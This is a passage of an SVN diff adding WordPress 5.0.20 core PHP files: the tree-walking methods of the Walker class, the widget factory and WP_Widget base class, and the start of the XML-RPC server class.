+	 * Display one element if the element doesn't have any children otherwise,
+	 * display the element and its children. Will only traverse up to the max
+	 * depth and no ignore elements under that depth. It is possible to set the
+	 * max depth to include all depths, see walk() method.
+	 *
+	 * This method should not be called directly, use the walk() method instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param object $element           Data object.
+	 * @param array  $children_elements List of elements to continue traversing (passed by reference).
+	 * @param int    $max_depth         Max depth to traverse.
+	 * @param int    $depth             Depth of current element.
+	 * @param array  $args              An array of arguments.
+	 * @param string $output            Used to append additional content (passed by reference).
+	 */
+	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
+		if ( ! $element ) {
+			return;
+		}
+
+		$id_field = $this->db_fields['id'];
+		$id       = $element->$id_field;
+
+		//display this element
+		$this->has_children = ! empty( $children_elements[ $id ] );
+		if ( isset( $args[0] ) && is_array( $args[0] ) ) {
+			$args[0]['has_children'] = $this->has_children; // Back-compat.
+		}
+
+		$cb_args = array_merge( array(&$output, $element, $depth), $args);
+		call_user_func_array(array($this, 'start_el'), $cb_args);
+
+		// descend only when the depth is right and there are childrens for this element
+		if ( ($max_depth == 0 || $max_depth > $depth+1 ) && isset( $children_elements[$id]) ) {
+
+			foreach ( $children_elements[ $id ] as $child ){
+
+				if ( !isset($newlevel) ) {
+					$newlevel = true;
+					//start the child delimiter
+					$cb_args = array_merge( array(&$output, $depth), $args);
+					call_user_func_array(array($this, 'start_lvl'), $cb_args);
+				}
+				$this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );
+			}
+			unset( $children_elements[ $id ] );
+		}
+
+		if ( isset($newlevel) && $newlevel ){
+			//end the child delimiter
+			$cb_args = array_merge( array(&$output, $depth), $args);
+			call_user_func_array(array($this, 'end_lvl'), $cb_args);
+		}
+
+		//end this element
+		$cb_args = array_merge( array(&$output, $element, $depth), $args);
+		call_user_func_array(array($this, 'end_el'), $cb_args);
+	}
+
+	/**
+	 * Display array of elements hierarchically.
+	 *
+	 * Does not assume any existing order of elements.
+	 *
+	 * $max_depth = -1 means flatly display every element.
+	 * $max_depth = 0 means display all levels.
+	 * $max_depth > 0 specifies the number of display levels.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $elements  An array of elements.
+	 * @param int   $max_depth The maximum hierarchical depth.
+	 * @return string The hierarchical item output.
+	 */
+	public function walk( $elements, $max_depth ) {
+		$args = array_slice(func_get_args(), 2);
+		$output = '';
+
+		//invalid parameter or nothing to walk
+		if ( $max_depth < -1 || empty( $elements ) ) {
+			return $output;
+		}
+
+		$parent_field = $this->db_fields['parent'];
+
+		// flat display
+		if ( -1 == $max_depth ) {
+			$empty_array = array();
+			foreach ( $elements as $e )
+				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
+			return $output;
+		}
+
+		/*
+		 * Need to display in hierarchical order.
+		 * Separate elements into two buckets: top level and children elements.
+		 * Children_elements is two dimensional array, eg.
+		 * Children_elements[10][] contains all sub-elements whose parent is 10.
+		 */
+		$top_level_elements = array();
+		$children_elements  = array();
+		foreach ( $elements as $e) {
+			if ( empty( $e->$parent_field ) )
+				$top_level_elements[] = $e;
+			else
+				$children_elements[ $e->$parent_field ][] = $e;
+		}
+
+		/*
+		 * When none of the elements is top level.
+		 * Assume the first one must be root of the sub elements.
+		 */
+		if ( empty($top_level_elements) ) {
+
+			$first = array_slice( $elements, 0, 1 );
+			$root = $first[0];
+
+			$top_level_elements = array();
+			$children_elements  = array();
+			foreach ( $elements as $e) {
+				if ( $root->$parent_field == $e->$parent_field )
+					$top_level_elements[] = $e;
+				else
+					$children_elements[ $e->$parent_field ][] = $e;
+			}
+		}
+
+		foreach ( $top_level_elements as $e )
+			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
+
+		/*
+		 * If we are displaying all levels, and remaining children_elements is not empty,
+		 * then we got orphans, which should be displayed regardless.
+		 */
+		if ( ( $max_depth == 0 ) && count( $children_elements ) > 0 ) {
+			$empty_array = array();
+			foreach ( $children_elements as $orphans )
+				foreach ( $orphans as $op )
+					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
+		 }
+
+		 return $output;
+	}
+
+	/**
+ 	 * paged_walk() - produce a page of nested elements
+ 	 *
+ 	 * Given an array of hierarchical elements, the maximum depth, a specific page number,
+ 	 * and number of elements per page, this function first determines all top level root elements
+ 	 * belonging to that page, then lists them and all of their children in hierarchical order.
+ 	 *
+	 * $max_depth = 0 means display all levels.
+	 * $max_depth > 0 specifies the number of display levels.
+	 *
+ 	 * @since 2.7.0
+	 *
+	 * @param array $elements
+	 * @param int   $max_depth The maximum hierarchical depth.
+	 * @param int   $page_num The specific page number, beginning with 1.
+	 * @param int   $per_page
+	 * @return string XHTML of the specified page of elements
+	 */
+	public function paged_walk( $elements, $max_depth, $page_num, $per_page ) {
+		if ( empty( $elements ) || $max_depth < -1 ) {
+			return '';
+		}
+
+		$args = array_slice( func_get_args(), 4 );
+		$output = '';
+
+		$parent_field = $this->db_fields['parent'];
+
+		$count = -1;
+		if ( -1 == $max_depth )
+			$total_top = count( $elements );
+		if ( $page_num < 1 || $per_page < 0  ) {
+			// No paging
+			$paging = false;
+			$start = 0;
+			if ( -1 == $max_depth )
+				$end = $total_top;
+			$this->max_pages = 1;
+		} else {
+			$paging = true;
+			$start = ( (int)$page_num - 1 ) * (int)$per_page;
+			$end   = $start + $per_page;
+			if ( -1 == $max_depth )
+				$this->max_pages = ceil($total_top / $per_page);
+		}
+
+		// flat display
+		if ( -1 == $max_depth ) {
+			if ( !empty($args[0]['reverse_top_level']) ) {
+				$elements = array_reverse( $elements );
+				$oldstart = $start;
+				$start = $total_top - $end;
+				$end = $total_top - $oldstart;
+			}
+
+			$empty_array = array();
+			foreach ( $elements as $e ) {
+				$count++;
+				if ( $count < $start )
+					continue;
+				if ( $count >= $end )
+					break;
+				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
+			}
+			return $output;
+		}
+
+		/*
+		 * Separate elements into two buckets: top level and children elements.
+		 * Children_elements is two dimensional array, e.g.
+		 * $children_elements[10][] contains all sub-elements whose parent is 10.
+		 */
+		$top_level_elements = array();
+		$children_elements  = array();
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$top_level_elements[] = $e;
+			else
+				$children_elements[ $e->$parent_field ][] = $e;
+		}
+
+		$total_top = count( $top_level_elements );
+		if ( $paging )
+			$this->max_pages = ceil($total_top / $per_page);
+		else
+			$end = $total_top;
+
+		if ( !empty($args[0]['reverse_top_level']) ) {
+			$top_level_elements = array_reverse( $top_level_elements );
+			$oldstart = $start;
+			$start = $total_top - $end;
+			$end = $total_top - $oldstart;
+		}
+		if ( !empty($args[0]['reverse_children']) ) {
+			foreach ( $children_elements as $parent => $children )
+				$children_elements[$parent] = array_reverse( $children );
+		}
+
+		foreach ( $top_level_elements as $e ) {
+			$count++;
+
+			// For the last page, need to unset earlier children in order to keep track of orphans.
+			if ( $end >= $total_top && $count < $start )
+					$this->unset_children( $e, $children_elements );
+
+			if ( $count < $start )
+				continue;
+
+			if ( $count >= $end )
+				break;
+
+			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
+		}
+
+		if ( $end >= $total_top && count( $children_elements ) > 0 ) {
+			$empty_array = array();
+			foreach ( $children_elements as $orphans )
+				foreach ( $orphans as $op )
+					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
+		}
+
+		return $output;
+	}
+
+	/**
+	 * Calculates the total number of root elements.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $elements Elements to list.
+	 * @return int Number of root elements.
+	 */
+	public function get_number_of_root_elements( $elements ){
+		$num = 0;
+		$parent_field = $this->db_fields['parent'];
+
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$num++;
+		}
+		return $num;
+	}
+
+	/**
+	 * Unset all the children for a given top level element.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param object $e
+	 * @param array $children_elements
+	 */
+	public function unset_children( $e, &$children_elements ){
+		if ( ! $e || ! $children_elements ) {
+			return;
+		}
+
+		$id_field = $this->db_fields['id'];
+		$id = $e->$id_field;
+
+		if ( !empty($children_elements[$id]) && is_array($children_elements[$id]) )
+			foreach ( (array) $children_elements[$id] as $child )
+				$this->unset_children( $child, $children_elements );
+
+		unset( $children_elements[ $id ] );
+	}
+
+} // Walker
Index: /tags/5.0.20/src/wp-includes/class-wp-widget-factory.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-widget-factory.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-widget-factory.php	(revision 56912)
@@ -0,0 +1,144 @@
+<?php
+/**
+ * Widget API: WP_Widget_Factory class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Singleton that registers and instantiates WP_Widget classes.
+ *
+ * @since 2.8.0
+ * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
+ */
+class WP_Widget_Factory {
+
+	/**
+	 * Widgets array.
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $widgets = array();
+
+	/**
+	 * PHP5 constructor.
+	 *
+	 * @since 4.3.0
+	 */
+	public function __construct() {
+		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
+	}
+
+	/**
+	 * PHP4 constructor.
+	 *
+	 * @since 2.8.0
+	 */
+	public function WP_Widget_Factory() {
+		_deprecated_constructor( 'WP_Widget_Factory', '4.2.0' );
+		self::__construct();
+	}
+
+	/**
+	 * Memory for the number of times unique class instances have been hashed.
+	 *
+	 * This can be eliminated in favor of straight spl_object_hash() when 5.3
+	 * is the minimum requirement for PHP.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 *
+	 * @see WP_Widget_Factory::hash_object()
+	 */
+	private $hashed_class_counts = array();
+
+	/**
+	 * Hashes an object, doing fallback of `spl_object_hash()` if not available.
+	 *
+	 * This can be eliminated in favor of straight spl_object_hash() when 5.3
+	 * is the minimum requirement for PHP.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param WP_Widget $widget Widget.
+	 * @return string Object hash.
+	 */
+	private function hash_object( $widget ) {
+		if ( function_exists( 'spl_object_hash' ) ) {
+			return spl_object_hash( $widget );
+		} else {
+			$class_name = get_class( $widget );
+			$hash = $class_name;
+			if ( ! isset( $widget->_wp_widget_factory_hash_id ) ) {
+				if ( ! isset( $this->hashed_class_counts[ $class_name ] ) ) {
+					$this->hashed_class_counts[ $class_name ] = 0;
+				}
+				$this->hashed_class_counts[ $class_name ] += 1;
+				$widget->_wp_widget_factory_hash_id = $this->hashed_class_counts[ $class_name ];
+			}
+			$hash .= ':' . $widget->_wp_widget_factory_hash_id;
+			return $hash;
+		}
+	}
+
+	/**
+	 * Registers a widget subclass.
+	 *
+	 * @since 2.8.0
+	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
+	 *              instead of simply a `WP_Widget` subclass name.
+	 *
+	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
+	 */
+	public function register( $widget ) {
+		if ( $widget instanceof WP_Widget ) {
+			$this->widgets[ $this->hash_object( $widget ) ] = $widget;
+		} else {
+			$this->widgets[ $widget ] = new $widget();
+		}
+	}
+
+	/**
+	 * Un-registers a widget subclass.
+	 *
+	 * @since 2.8.0
+	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
+	 *              instead of simply a `WP_Widget` subclass name.
+	 *
+	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
+	 */
+	public function unregister( $widget ) {
+		if ( $widget instanceof WP_Widget ) {
+			unset( $this->widgets[ $this->hash_object( $widget ) ] );
+		} else {
+			unset( $this->widgets[ $widget ] );
+		}
+	}
+
+	/**
+	 * Serves as a utility method for adding widgets to the registered widgets global.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global array $wp_registered_widgets
+	 */
+	public function _register_widgets() {
+		global $wp_registered_widgets;
+		$keys = array_keys($this->widgets);
+		$registered = array_keys($wp_registered_widgets);
+		$registered = array_map('_get_widget_id_base', $registered);
+
+		foreach ( $keys as $key ) {
+			// don't register new widget if old widget with the same id is already registered
+			if ( in_array($this->widgets[$key]->id_base, $registered, true) ) {
+				unset($this->widgets[$key]);
+				continue;
+			}
+
+			$this->widgets[$key]->_register();
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-widget.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-widget.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-widget.php	(revision 56912)
@@ -0,0 +1,588 @@
+<?php
+/**
+ * Widget API: WP_Widget base class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core base class extended to register widgets.
+ *
+ * This class must be extended for each widget, and WP_Widget::widget() must be overridden.
+ *
+ * If adding widget options, WP_Widget::update() and WP_Widget::form() should also be overridden.
+ *
+ * @since 2.8.0
+ * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
+ */
+class WP_Widget {
+
+	/**
+	 * Root ID for all widgets of this type.
+	 *
+	 * @since 2.8.0
+	 * @var mixed|string
+	 */
+	public $id_base;
+
+	/**
+	 * Name for this widget type.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Option name for this widget type.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $option_name;
+
+	/**
+	 * Alt option name for this widget type.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $alt_option_name;
+
+	/**
+	 * Option array passed to wp_register_sidebar_widget().
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $widget_options;
+
+	/**
+	 * Option array passed to wp_register_widget_control().
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $control_options;
+
+	/**
+	 * Unique ID number of the current instance.
+	 *
+	 * @since 2.8.0
+	 * @var bool|int
+	 */
+	public $number = false;
+
+	/**
+	 * Unique ID string of the current instance (id_base-number).
+	 *
+	 * @since 2.8.0
+	 * @var bool|string
+	 */
+	public $id = false;
+
+	/**
+	 * Whether the widget data has been updated.
+	 *
+	 * Set to true when the data is updated after a POST submit - ensures it does
+	 * not happen twice.
+	 *
+	 * @since 2.8.0
+	 * @var bool
+	 */
+	public $updated = false;
+
+	//
+	// Member functions that must be overridden by subclasses.
+	//
+
+	/**
+	 * Echoes the widget content.
+	 *
+	 * Sub-classes should over-ride this function to generate their widget code.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance The settings for the particular instance of the widget.
+	 */
+	public function widget( $args, $instance ) {
+		die('function WP_Widget::widget() must be over-ridden in a sub-class.');
+	}
+
+	/**
+	 * Updates a particular instance of a widget.
+	 *
+	 * This function should check that `$new_instance` is set correctly. The newly-calculated
+	 * value of `$instance` should be returned. If false is returned, the instance won't be
+	 * saved/updated.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Settings to save or bool false to cancel saving.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		return $new_instance;
+	}
+
+	/**
+	 * Outputs the settings update form.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 * @return string Default return is 'noform'.
+	 */
+	public function form( $instance ) {
+		echo '<p class="no-options-widget">' . __('There are no options for this widget.') . '</p>';
+		return 'noform';
+	}
+
+	// Functions you'll need to call.
+
+	/**
+	 * PHP5 constructor.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $id_base         Optional Base ID for the widget, lowercase and unique. If left empty,
+	 *                                a portion of the widget's class name will be used Has to be unique.
+	 * @param string $name            Name for the widget displayed on the configuration page.
+	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for information
+	 *                                on accepted arguments. Default empty array.
+	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control() for
+	 *                                information on accepted arguments. Default empty array.
+	 */
+	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
+		$this->id_base = empty($id_base) ? preg_replace( '/(wp_)?widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base);
+		$this->name = $name;
+		$this->option_name = 'widget_' . $this->id_base;
+		$this->widget_options = wp_parse_args( $widget_options, array( 'classname' => $this->option_name, 'customize_selective_refresh' => false ) );
+		$this->control_options = wp_parse_args( $control_options, array( 'id_base' => $this->id_base ) );
+	}
+
+	/**
+	 * PHP4 constructor.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see __construct()
+	 *
+	 * @param string $id_base         Optional Base ID for the widget, lowercase and unique. If left empty,
+	 *                                a portion of the widget's class name will be used Has to be unique.
+	 * @param string $name            Name for the widget displayed on the configuration page.
+	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for information
+	 *                                on accepted arguments. Default empty array.
+	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control() for
+	 *                                information on accepted arguments. Default empty array.
+	 */
+	public function WP_Widget( $id_base, $name, $widget_options = array(), $control_options = array() ) {
+		_deprecated_constructor( 'WP_Widget', '4.3.0', get_class( $this ) );
+		WP_Widget::__construct( $id_base, $name, $widget_options, $control_options );
+	}
+
+	/**
+	 * Constructs name attributes for use in form() fields
+	 *
+	 * This function should be used in form() methods to create name attributes for fields
+	 * to be saved by update()
+	 *
+	 * @since 2.8.0
+	 * @since 4.4.0 Array format field names are now accepted.
+	 *
+	 * @param string $field_name Field name
+	 * @return string Name attribute for $field_name
+	 */
+	public function get_field_name($field_name) {
+		if ( false === $pos = strpos( $field_name, '[' ) ) {
+			return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']';
+		} else {
+			return 'widget-' . $this->id_base . '[' . $this->number . '][' . substr_replace( $field_name, '][', $pos, strlen( '[' ) );
+		}
+	}
+
+	/**
+	 * Constructs id attributes for use in WP_Widget::form() fields.
+	 *
+	 * This function should be used in form() methods to create id attributes
+	 * for fields to be saved by WP_Widget::update().
+	 *
+	 * @since 2.8.0
+	 * @since 4.4.0 Array format field IDs are now accepted.
+	 *
+	 * @param string $field_name Field name.
+	 * @return string ID attribute for `$field_name`.
+	 */
+	public function get_field_id( $field_name ) {
+		return 'widget-' . $this->id_base . '-' . $this->number . '-' . trim( str_replace( array( '[]', '[', ']' ), array( '', '-', '' ), $field_name ), '-' );
+	}
+
+	/**
+	 * Register all widget instances of this widget class.
+	 *
+	 * @since 2.8.0
+	 */
+	public function _register() {
+		$settings = $this->get_settings();
+		$empty = true;
+
+		// When $settings is an array-like object, get an intrinsic array for use with array_keys().
+		if ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) {
+			$settings = $settings->getArrayCopy();
+		}
+
+		if ( is_array( $settings ) ) {
+			foreach ( array_keys( $settings ) as $number ) {
+				if ( is_numeric( $number ) ) {
+					$this->_set( $number );
+					$this->_register_one( $number );
+					$empty = false;
+				}
+			}
+		}
+
+		if ( $empty ) {
+			// If there are none, we register the widget's existence with a generic template.
+			$this->_set( 1 );
+			$this->_register_one();
+		}
+	}
+
+	/**
+	 * Sets the internal order number for the widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $number The unique order number of this widget instance compared to other
+	 *                    instances of the same class.
+	 */
+	public function _set($number) {
+		$this->number = $number;
+		$this->id = $this->id_base . '-' . $number;
+	}
+
+	/**
+	 * Retrieves the widget display callback.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return callable Display callback.
+	 */
+	public function _get_display_callback() {
+		return array($this, 'display_callback');
+	}
+
+	/**
+	 * Retrieves the widget update callback.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return callable Update callback.
+	 */
+	public function _get_update_callback() {
+		return array($this, 'update_callback');
+	}
+
+	/**
+	 * Retrieves the form callback.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return callable Form callback.
+	 */
+	public function _get_form_callback() {
+		return array($this, 'form_callback');
+	}
+
+	/**
+	 * Determines whether the current request is inside the Customizer preview.
+	 *
+	 * If true -- the current request is inside the Customizer preview, then
+	 * the object cache gets suspended and widgets should check this to decide
+	 * whether they should store anything persistently to the object cache,
+	 * to transients, or anywhere else.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global WP_Customize_Manager $wp_customize
+	 *
+	 * @return bool True if within the Customizer preview, false if not.
+	 */
+	public function is_preview() {
+		global $wp_customize;
+		return ( isset( $wp_customize ) && $wp_customize->is_preview() ) ;
+	}
+
+	/**
+	 * Generates the actual widget content (Do NOT override).
+	 *
+	 * Finds the instance and calls WP_Widget::widget().
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array     $args        Display arguments. See WP_Widget::widget() for information
+	 *                               on accepted arguments.
+	 * @param int|array $widget_args {
+	 *     Optional. Internal order number of the widget instance, or array of multi-widget arguments.
+	 *     Default 1.
+	 *
+	 *     @type int $number Number increment used for multiples of the same widget.
+	 * }
+	 */
+	public function display_callback( $args, $widget_args = 1 ) {
+		if ( is_numeric( $widget_args ) ) {
+			$widget_args = array( 'number' => $widget_args );
+		}
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$this->_set( $widget_args['number'] );
+		$instances = $this->get_settings();
+
+		if ( array_key_exists( $this->number, $instances ) ) {
+			$instance = $instances[ $this->number ];
+
+			/**
+			 * Filters the settings for a particular widget instance.
+			 *
+			 * Returning false will effectively short-circuit display of the widget.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param array     $instance The current widget instance's settings.
+			 * @param WP_Widget $this     The current widget instance.
+			 * @param array     $args     An array of default widget arguments.
+			 */
+			$instance = apply_filters( 'widget_display_callback', $instance, $this, $args );
+
+			if ( false === $instance ) {
+				return;
+			}
+
+			$was_cache_addition_suspended = wp_suspend_cache_addition();
+			if ( $this->is_preview() && ! $was_cache_addition_suspended ) {
+				wp_suspend_cache_addition( true );
+			}
+
+			$this->widget( $args, $instance );
+
+			if ( $this->is_preview() ) {
+				wp_suspend_cache_addition( $was_cache_addition_suspended );
+			}
+		}
+	}
+
+	/**
+	 * Handles changed settings (Do NOT override).
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global array $wp_registered_widgets
+	 *
+	 * @param int $deprecated Not used.
+	 */
+	public function update_callback( $deprecated = 1 ) {
+		global $wp_registered_widgets;
+
+		$all_instances = $this->get_settings();
+
+		// We need to update the data
+		if ( $this->updated )
+			return;
+
+		if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+			// Delete the settings for this instance of the widget
+			if ( isset($_POST['the-widget-id']) )
+				$del_id = $_POST['the-widget-id'];
+			else
+				return;
+
+			if ( isset($wp_registered_widgets[$del_id]['params'][0]['number']) ) {
+				$number = $wp_registered_widgets[$del_id]['params'][0]['number'];
+
+				if ( $this->id_base . '-' . $number == $del_id )
+					unset($all_instances[$number]);
+			}
+		} else {
+			if ( isset($_POST['widget-' . $this->id_base]) && is_array($_POST['widget-' . $this->id_base]) ) {
+				$settings = $_POST['widget-' . $this->id_base];
+			} elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) {
+				$num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number'];
+				$settings = array( $num => array() );
+			} else {
+				return;
+			}
+
+			foreach ( $settings as $number => $new_instance ) {
+				$new_instance = stripslashes_deep($new_instance);
+				$this->_set($number);
+
+				$old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array();
+
+				$was_cache_addition_suspended = wp_suspend_cache_addition();
+				if ( $this->is_preview() && ! $was_cache_addition_suspended ) {
+					wp_suspend_cache_addition( true );
+				}
+
+				$instance = $this->update( $new_instance, $old_instance );
+
+				if ( $this->is_preview() ) {
+					wp_suspend_cache_addition( $was_cache_addition_suspended );
+				}
+
+				/**
+				 * Filters a widget's settings before saving.
+				 *
+				 * Returning false will effectively short-circuit the widget's ability
+				 * to update settings.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param array     $instance     The current widget instance's settings.
+				 * @param array     $new_instance Array of new widget settings.
+				 * @param array     $old_instance Array of old widget settings.
+				 * @param WP_Widget $this         The current widget instance.
+				 */
+				$instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $this );
+				if ( false !== $instance ) {
+					$all_instances[$number] = $instance;
+				}
+
+				break; // run only once
+			}
+		}
+
+		$this->save_settings($all_instances);
+		$this->updated = true;
+	}
+
+	/**
+	 * Generates the widget control form (Do NOT override).
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int|array $widget_args {
+	 *     Optional. Internal order number of the widget instance, or array of multi-widget arguments.
+	 *     Default 1.
+	 *
+	 *     @type int $number Number increment used for multiples of the same widget.
+	 * }
+	 * @return string|null
+	 */
+	public function form_callback( $widget_args = 1 ) {
+		if ( is_numeric($widget_args) )
+			$widget_args = array( 'number' => $widget_args );
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$all_instances = $this->get_settings();
+
+		if ( -1 == $widget_args['number'] ) {
+			// We echo out a form where 'number' can be set later
+			$this->_set('__i__');
+			$instance = array();
+		} else {
+			$this->_set($widget_args['number']);
+			$instance = $all_instances[ $widget_args['number'] ];
+		}
+
+		/**
+		 * Filters the widget instance's settings before displaying the control form.
+		 *
+		 * Returning false effectively short-circuits display of the control form.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array     $instance The current widget instance's settings.
+		 * @param WP_Widget $this     The current widget instance.
+		 */
+		$instance = apply_filters( 'widget_form_callback', $instance, $this );
+
+		$return = null;
+		if ( false !== $instance ) {
+			$return = $this->form($instance);
+
+			/**
+			 * Fires at the end of the widget control form.
+			 *
+			 * Use this hook to add extra fields to the widget form. The hook
+			 * is only fired if the value passed to the 'widget_form_callback'
+			 * hook is not false.
+			 *
+			 * Note: If the widget has no form, the text echoed from the default
+			 * form method can be hidden using CSS.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param WP_Widget $this     The widget instance (passed by reference).
+			 * @param null      $return   Return null if new fields are added.
+			 * @param array     $instance An array of the widget's settings.
+			 */
+			do_action_ref_array( 'in_widget_form', array( &$this, &$return, $instance ) );
+		}
+		return $return;
+	}
+
+	/**
+	 * Registers an instance of the widget class.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param integer $number Optional. The unique order number of this widget instance
+	 *                        compared to other instances of the same class. Default -1.
+	 */
+	public function _register_one( $number = -1 ) {
+		wp_register_sidebar_widget(	$this->id, $this->name,	$this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) );
+		_register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) );
+		_register_widget_form_callback(	$this->id, $this->name,	$this->_get_form_callback(), $this->control_options, array( 'number' => $number ) );
+	}
+
+	/**
+	 * Saves the settings for all instances of the widget class.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $settings Multi-dimensional array of widget instance settings.
+	 */
+	public function save_settings( $settings ) {
+		$settings['_multiwidget'] = 1;
+		update_option( $this->option_name, $settings );
+	}
+
+	/**
+	 * Retrieves the settings for all instances of the widget class.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return array Multi-dimensional array of widget instance settings.
+	 */
+	public function get_settings() {
+
+		$settings = get_option( $this->option_name );
+
+		if ( false === $settings ) {
+			if ( isset( $this->alt_option_name ) ) {
+				$settings = get_option( $this->alt_option_name );
+			} else {
+				// Save an option so it can be autoloaded next time.
+				$this->save_settings( array() );
+			}
+		}
+
+		if ( ! is_array( $settings ) && ! ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) ) {
+			$settings = array();
+		}
+
+		if ( ! empty( $settings ) && ! isset( $settings['_multiwidget'] ) ) {
+			// Old format, convert if single widget.
+			$settings = wp_convert_widget_settings( $this->id_base, $this->option_name, $settings );
+		}
+
+		unset( $settings['_multiwidget'], $settings['__i__'] );
+		return $settings;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-xmlrpc-server.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-xmlrpc-server.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-xmlrpc-server.php	(revision 56912)
@@ -0,0 +1,6607 @@
+<?php
+/**
+ * XML-RPC protocol support for WordPress
+ *
+ * @package WordPress
+ * @subpackage Publishing
+ */
+
+/**
+ * WordPress XMLRPC server implementation.
+ *
+ * Implements compatibility for Blogger API, MetaWeblog API, MovableType, and
+ * pingback. Additional WordPress API for managing comments, pages, posts,
+ * options, etc.
+ *
+ * As of WordPress 3.5.0, XML-RPC is enabled by default. It can be disabled
+ * via the {@see 'xmlrpc_enabled'} filter found in wp_xmlrpc_server::login().
+ *
+ * @since 1.5.0
+ *
+ * @see IXR_Server
+ */
+class wp_xmlrpc_server extends IXR_Server {
+	/**
+	 * Methods.
+	 *
+	 * @var array
+	 */
+	public $methods;
+
+	/**
+	 * Blog options.
+	 *
+	 * @var array
+	 */
+	public $blog_options;
+
+	/**
+	 * IXR_Error instance.
+	 *
+	 * @var IXR_Error
+	 */
+	public $error;
+
+	/**
+	 * Flags that the user authentication has failed in this instance of wp_xmlrpc_server.
+	 *
+	 * @var bool
+	 */
+	protected $auth_failed = false;
+
+	/**
+	 * Registers all of the XMLRPC methods that XMLRPC server understands.
+	 *
+	 * Sets up server and method property. Passes XMLRPC
+	 * methods through the {@see 'xmlrpc_methods'} filter to allow plugins to extend
+	 * or replace XML-RPC methods.
+	 *
+	 * @since 1.5.0
+	 */
+	public function __construct() {
+		$this->methods = array(
+			// WordPress API
